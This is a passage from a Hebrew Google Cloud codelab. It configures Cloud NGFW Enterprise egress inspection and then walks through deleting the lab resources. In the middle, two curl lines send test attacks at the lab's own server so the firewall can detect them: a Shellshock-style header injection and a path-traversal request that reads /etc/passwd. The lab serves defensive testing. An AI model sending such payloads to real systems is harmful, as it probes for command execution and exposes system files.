כפי שאומת בקטע הקודם, התהליכים שנבדקו עד עכשיו הם בתוך תת-רשת/VPC (מזרח-מערב) ותנועה נכנסת מהאינטרנט (כניסה מצפון-דרום). אפשר גם להגדיר את Cloud NGFW Enterprise לבדיקת כל תעבורת הנתונים באינטרנט (יוצאת מצפון-דרום) על ידי יצירת כלל חדש של תעבורת נתונים יוצאת (egress) באמצעות Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

חוזרים ל-VM של הלקוח ושולחים מחדש התקפות חומרה גבוהה לכתובת ה-IP של השרת החיצוני:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

הפלט אמור להיראות כך:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

עברו לכרטיסייה Threats במסוף Cloud כדי לאמת את היומנים (ייתכן שתצטרכו לרענן כמה פעמים). היה צריך לזהות את המתקפות ולרשום אותן מחדש, אבל עכשיו כתובת ה-IP של המקור היא פנימית כי כלל של תעבורת נתונים יוצאת (egress) מופעל קודם:

36f8edf264dcddcd.png

סוגרים את סשן ה-SSH וממשיכים לקטע הבא בקטע השלבים לניקוי.

8. שלבי ההסרה

ניקוי הרכיבים של Cloud NGFW Enterprise

הצגת רשימה של השיוכים הקיימים ל-Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations list

מוחקים את השיוך ל-Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

הצגת רשימה של נקודות הקצה הקיימות ב-Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

מוחקים את נקודת הקצה ב-Cloud NGFW Enterprise. הפעולה עשויה להימשך כ-20 דקות:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

כדי לוודא ש-Cloud NGFW Enterprise נמחק, מריצים את הפקודה הבאה:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

מחיקת קבוצת פרופילי האבטחה והפרופיל של מניעת איומים:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

ניקוי ההגדרות הבסיסיות

אם אתם מעדיפים למחוק את משאבי הבסיס, אפשר להמשיך לשלב הבא.

מגדירים את משתני הסביבה במקרה הצורך. מוחקים מ-Cloud Shell את הרכיבים של מאזן עומסים ברשת:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

הסרת מכונות:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

אם שיניתם את התפקידים של tagAdmin ו-tagUsers, תוכלו לבצע את השלבים הבאים:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

הסרת המפתח והערכים של התג:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

מחיקת המדיניות והשיוך של Cloud Firewall Network:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

מחיקת Cloud Router ו-Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

מחיקת כתובות IP שמורות:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

לבסוף, מוחקים את רשת המשנה ואת רשת ה-VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. מעולה!

כל הכבוד, השלמת בהצלחה את Cloud NGFW Enterprise ל-Codelab של מזרח-מערב וצפון-דרום.